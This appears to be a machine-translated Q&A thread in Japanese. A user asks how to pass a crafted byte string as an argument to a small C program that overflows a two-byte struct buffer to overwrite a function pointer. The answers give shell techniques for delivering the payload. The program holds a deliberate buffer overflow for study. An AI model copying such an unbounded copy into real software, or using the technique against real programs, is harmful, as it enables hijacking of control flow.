0

教育目的で、バッファオーバーフローを使用して関数ポインタアドレスを上書きするプログラムを実行しようとしています。nmを使用して上書きする関数ポインタの場所を決定しました。次に、新しい関数ポインタのアドレスをargvに渡します。使おうとしています

perl -e'print "aa \ xc0 \ x0c \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \"' | ./a.out

ここで、\ xc0 \ x0c \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \は、新しい関数ポインターのアドレスのリトルエンディアンであり、aaはcharバッファーを埋めるためだけのものです。問題は、argcが常に1であるため、これが出力をa.outにパイプしていないように見えることです。私も試しました

perl -e'print "aa \ xc0 \ x0c \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ n"> a.bin cat a.bin-| ./a.out

argcはまだ1です。

簡単にフォローできるように、プログラムのコピーを添付しました。また、プログラムの現在の構造を変更せずに、perlを使用する代わりにフォーマットされたバイトをacプログラムに直接渡す簡単な方法はありますか?

./a.outを実行して実行することはできますか?

ありがとう

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct user_s{
    char name[2];
    void (*print_name)();
}user;

user a;

void print_name1(){
    printf("hello\n");
}

void print_name2(){
    printf("hi\n");
}

void usage(char * msg){
    printf("usage: %s <name>\n", msg);
}

void fill_name (char * name_to_fill, char *filler){
    int i, len;
    len = strlen(filler);
    printf("length of filler is %d\n", len);
    for (i = 0 ; i < len; i ++){
        *(name_to_fill + i) = *(filler+i);
    }
}

int main(int argc, char * argv[]){
    printf("argc = %d",argc);
    if (argc != 2){
        usage(argv[0]);
        return 0;
    }
    a.print_name = print_name1;
    a.print_name();
    fill_name(a.name, argv[1]);
    a.print_name();
    return 1;
}
4

3 に答える 3

2

コマンドライン引数をstdinと混同しています。あなたの命令:

perl -e 'print "aa\xc0\x0c\x00\x00\x01\x00\x00\x00\"'| ./a.out

プログラムのstdinに書き込みます。コマンドライン引数と同じことをしたい場合は、次のことを試してください。

perl -e 'print "aa\xc0\x0c\x00\x00\x01\x00\x00\x00\"'| xargs ./a.out

参照:http ://ss64.com/bash/xargs.html

于 2012-08-03T22:12:09.750 に答える
1

ジョンが言うように、あなたは議論をstdinと混同しています。プログラムの出力を引数として渡すには、プログラムをで囲むことによってコマンド置換を使用できる$(command)ため、例では次のようにする必要があります。

./a.out $(perl -e 'print "aa\xc0\x0c\x00\x00\x01\x00\x00\x00\"')
于 2012-08-03T22:31:29.480 に答える
1

bashを使用すると、次のことができます。

./a.out $'aa\xc0\x0c\x00\x00\x01\x00\x00\x00'
于 2012-08-03T22:49:47.270 に答える